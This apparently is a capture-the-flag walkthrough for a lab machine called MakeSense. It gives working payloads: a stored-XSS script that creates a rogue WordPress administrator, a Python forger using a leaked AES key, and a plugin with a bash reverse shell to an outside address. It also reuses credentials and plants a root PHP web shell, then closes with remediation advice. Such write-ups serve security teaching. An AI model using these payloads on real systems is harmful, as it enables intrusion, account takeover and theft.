#Overview
The exploitation of MakeSense involves a three-phase attack path starting with an initial compromise via Stored XSS, achieved by abusing a hardcoded client-side encryption key in a custom WordPress voice recording feature to forge an encrypted payload and silently create a rogue administrator account. After gaining remote code execution through a malicious plugin and access as www-data, lateral movement is executed by reusing database credentials from wp-config.php to SSH into the machine as the user walter. Finally, privilege escalation to root is accomplished by using SSH local port forwarding to access an internal OCR application, which is then exploited by bypassing its lack of file extension validation to upload a PHP web shell disguised within a generated image.
#Setup
First, download the VPN configuration file from the platform and establish a connection using OpenVPN:
sudo openvpn release_arena_au-release-1.ovpn
To confirm that the target machine is reachable across the VPN, we can send a few ICMP echo requests:
$ ping -c 4 10.129.110.76
PING 10.129.110.76 (10.129.110.76) 56(84) bytes of data.
64 bytes from 10.129.110.76: icmp_seq=1 ttl=63 time=392 ms
64 bytes from 10.129.110.76: icmp_seq=2 ttl=63 time=417 ms
64 bytes from 10.129.110.76: icmp_seq=3 ttl=63 time=441 ms
64 bytes from 10.129.110.76: icmp_seq=4 ttl=63 time=464 ms
--- 10.129.110.76 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 392.477/428.529/464.370/26.772 ms
Navigating to the target IP address (10.129.110.76) in a web browser triggers an automatic redirect to [http://makesense.htb](http://makesense.htb). However, the connection fails, and the page does not load. Because makesense.htb is a private, unregistered domain, public DNS servers cannot resolve it. We must manually map the target IP to this hostname locally.
We can resolve this by appending the IP and domain to our local /etc/hosts file:
echo '10.129.110.76 makesense.htb' | sudo tee -a /etc/hosts
Once this entry is added, refreshing the browser allows the domain to resolve properly, granting us access to the web application.
#Enumeration
We begin our enumeration with a port scan using Nmap to identify open ports and the services running on the target machine:
$ nmap -sV 10.129.110.76
Nmap scan report for makesense.htb (10.129.221.192)
Host is up (0.32s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp filtered http
443/tcp open ssl/https Apache/2.4.58 (Ubuntu)
8001/tcp filtered vcom-tunnel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Based on the Nmap results, the target is running Ubuntu Linux and has two accessible open ports:
- Port 22 (ssh): SSH Server
- Port 443 (https): HTTPS Server
Source code inspection of makesense.htb reveals that the application is running WordPress v7.0. We cross-check this using whatweb:
$ whatweb https://makesense.htb
https://makesense.htb [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], Email[info@webagency.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[10.129.110.76], JQuery[3.7.1], MetaGenerator[WordPress 7.0], Script[application/json,module], Title[Agency LLC], UncommonHeaders[link], WordPress[7.0]
#Foothold
Based on the WordPress 7.0 discovery, we run wpscan to enumerate valid usernames. The scan identifies three users: admin, jake, and walter. While basic enumeration like testing for Local File Inclusion (LFI) on wp-admin/admin-ajax.php does not yield results, inspecting the site's custom voice recording feature uncovers a vulnerable workflow.
When a user records a voice message, the application makes a request to fetch /wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js. Viewing the source code of this JavaScript file reveals a hardcoded encryption key:
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
The application uses this key to encrypt the transcription locally before sending it to the backend. The script takes the 32-byte SHA-256 digest of this key to use as an AES-256-GCM key. The final payload is formatted as a Base64 string containing a 12-byte Initialization Vector (IV), the ciphertext, and a 16-byte GCM authentication tag.
The unencrypted data is structured as standard JSON:
{
"transcription": "...",
"summary": "..."
}
The voice submission follows a specific sequence:
- The user records audio, which is POSTed via
action=save_voice_raw. - The server stores the WAV file and returns a
post_id. - Whisper transcribes and summarizes the audio locally.
- The JSON result is encrypted using AES-GCM.
- The client submits the
post_idandencrypted_payloadviaaction=save_voice_results.
Since the encryption key is exposed, we can bypass the frontend transcription and forge our own encrypted JSON payload to achieve Stored Cross-Site Scripting (XSS). We can write a JavaScript payload that forces any authenticated administrator who views the message to unknowingly create a rogue admin account for us.
We host the following JavaScript payload as x.js on our local machine (10.10.14.25:9002):
(async () => {
try {
const r = await fetch('/wp-admin/user-new.php', {credentials:'include'});
const h = await r.text();
const m = h.match(/id="_wpnonce_create-user"[^>]*value="([a-f0-9]+)"/);
if (!m) return;
const b = new URLSearchParams();
b.set('action','createuser'); b.set('_wpnonce_create-user', m[1]);
b.set('_wp_http_referer','/wp-admin/user-new.php');
b.set('user_login','pwn'); b.set('email','pwn@makesense.htb');
b.set('pass1','Pwn3d!SecureP@ss2026'); b.set('pass1-text','Pwn3d!SecureP@ss2026'); b.set('pass2','Pwn3d!SecureP@ss2026');
b.set('pw_weak','1'); b.set('role','administrator'); b.set('createuser','Add New User');
await fetch('/wp-admin/user-new.php', {method:'POST', credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:b.toString()});
} catch(e) {}
})();
To exploit this, we first submit a standard contact form (action=submit_contact_form) to generate a valid post_id (e.g., 70). Next, we use a Python script to encrypt our malicious JSON payload, pointing the transcription field to our hosted script:
import os
import json
import hashlib
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
payload_object = {
"transcription": "<script src='http://10.10.14.25:9002/x.js'></script>",
"summary": "test"
}
json_string = json.dumps(payload_object, separators=(',', ':'))
payload_bytes = json_string.encode('utf-8')
secret = b"bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI"
key = hashlib.sha256(secret).digest()
iv = os.urandom(12)
aesgcm = AESGCM(key)
ciphertext_and_tag = aesgcm.encrypt(iv, payload_bytes, None)
final_payload = iv + ciphertext_and_tag
final_base64 = base64.b64encode(final_payload).decode('utf-8')
print(final_base64)
We send the resulting Base64 string to the admin-ajax.php endpoint under the save_voice_results action. Once a site administrator logs in and views the submitted voice notes, our XSS payload executes, silently adding the user pwn with the password Pwn3d!SecureP@ss2026 as an administrator.
We log into the WordPress dashboard using these credentials. To get a reverse shell, we create a malicious WordPress plugin. We create two files and compress them into a zip archive:
shell.php:
<?php
/*
Plugin Name: Shell
*/
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.25/9002 0>&1'");
?>
plugin.php:
<?php
/*
Plugin Name: Reverse Shell
*/
?>
After uploading and activating the plugin through the dashboard, we catch the connection on our netcat listener. We can then stabilize the shell for easier interaction:
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
export TERM=xterm
#Lateral Movement
The available users on this target are root and walter.
Since this target is running a WordPress application and we now have a shell as www-data, we can inspect its configuration file to retrieve database credentials:
$ cat /var/www/html/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
These credentials can potentially be used to access the WordPress database and extract user information, including password hashes. However, before attempting to crack any hashes, we can test for password reuse since walter is also a valid user on the target system.
The password works successfully, allowing us to authenticate as walter over SSH:
$ sshpass -p "JbhHDAEgXvri3!" ssh walter@makesense.htb
walter@makesense:~$ id
uid=1000(walter) gid=1000(walter) groups=1000(walter)
#Privilege Escalation
Upon inspecting the network ports, we notice an internal service running on port 8001:
walter@makesense:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 4096 127.0.0.1:8001 0.0.0.0:*
The same port is also visible in the running processes, which reveals that the service is running with root privileges:
walter@makesense:~$ ps aux | grep root | grep -v "\["
root 1397 0.0 0.0 2800 1816 ? Ss 07:05 0:00 /bin/sh -c /root/.scripts/start_ocr4.sh
root 1400 0.0 0.0 7340 3592 ? S 07:05 0:15 /bin/bash /root/.scripts/start_ocr4.sh
root 1403 0.0 0.7 228764 31708 ? S 07:05 0:01 php -S 127.0.0.1:8001 -t /root/ocr4/
This indicates that a PHP application is being served locally on port 8001 and is running as the root user.
Since the service is bound only to 127.0.0.1, it is not directly accessible remotely. We can use SSH local port forwarding to access it from our machine:
$ sshpass -p "JbhHDAEgXvri3!" ssh -L 8001:127.0.0.1:8001 walter@makesense.htb
After forwarding the port, accessing localhost:8001 reveals that the application requires authentication. The previously obtained credentials walter:JbhHDAEgXvri3! can be reused successfully to log in.
Once authenticated, we discover that the application is an OCR tool that converts handwritten text from an image into a text format. The processed output is stored in the saved directory as /saved/result.txt.
During source code inspection of the web application, we notice that there is no filename validation when saving the output file. This means that instead of saving the file as result.txt, it may be possible to save it with a PHP extension, such as result.php.
The application uses a canvas with dimensions of 500x200 pixels and sends the drawn input as a PNG image. At this point, we do not know whether a PHP file generated through this method will actually execute, but based on the application's behavior, we can test the possibility of uploading a PHP web shell.
Drawing PHP code manually on the canvas would be inconvenient and time-consuming, so we can generate an image containing the following PHP web shell:
<?php system($_REQUEST['cmd']); ?>
The image was created with the following specifications:
Document Size: 500x200px
Font Size: 18.5px
Font Family: Arimo
Font Color: #0a0a0a
The image was exported with a transparent background. Before uploading it, the metadata was removed using ImageMagick:
$ magick main.png -strip cleaned.png
The image was then converted into Base64 format:
$ cat cleaned.png | base64 -w0 | wl-copy
Next, we draw any valid characters on the canvas, intercept the request using Burp Suite, and replace the value of the canvas_image parameter with our generated Base64 string:
POST / HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 5525
Origin: http://localhost:8001
Authorization: Basic d2FsdGVyOkpiaEhEQUVnWHZyaTMh
Connection: keep-alive
Referer: http://localhost:8001/
Cookie: PHPSESSID=blq6g2oua6pkdmg77ureo7oc1h
Upgrade-Insecure-Requests: 1
X-PwnFox-Color: magenta
Priority: u=0, i
canvas_image=data:image/png;base64,[COPIED_BASE64_STRING]
After forwarding the request, the application successfully recognizes the handwritten content:
Recognized
<?php system($_REQUEST['cmd']); ?>
We save the generated file as:
webshell.php
The uploaded file can then be accessed through:
http://localhost:8001/saved/webshell.php?cmd=id
uid=0(root) gid=0(root) groups=0(root)
This confirms that the PHP code is executed with root privileges. The root flag can be retrieved by executing:
http://localhost:8001/saved/webshell.php?cmd=cat /root/root.txt
▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇
#Remediation & Recommendations
- Remove Client-Side Secrets: The AES encryption key (
ENCRYPTION_KEY) is currently hardcoded in the frontend JavaScript, allowing attackers to forge valid encrypted payloads. Cryptographic operations that enforce data integrity should be handled securely on the backend. - Sanitize User Input: The transcription feature is vulnerable to Stored Cross-Site Scripting (XSS). Ensure all user-supplied data, especially text parsed from external inputs or AI transcriptions, is strictly sanitized and HTML-encoded before rendering in the administrative dashboard.
- Enforce Strict File Upload Validation: The internal OCR tool hosted on port 8001 lacks file extension validation, allowing users to save
.phpfiles. Implement a strict allowlist (e.g., only allowing.txtextensions) and assign randomly generated filenames to all saved outputs. - Apply the Principle of Least Privilege: The OCR PHP server is currently running as
root. You should isolate internal services and run them under dedicated, low-privileged service accounts to minimize the impact if they are compromised. - Prevent Password Reuse: The user
walterused the exact same password for the WordPress database configuration, the internal OCR app, and SSH access. Implement distinct, complex passwords for different services, and disable password-based SSH authentication entirely in favor of SSH keys.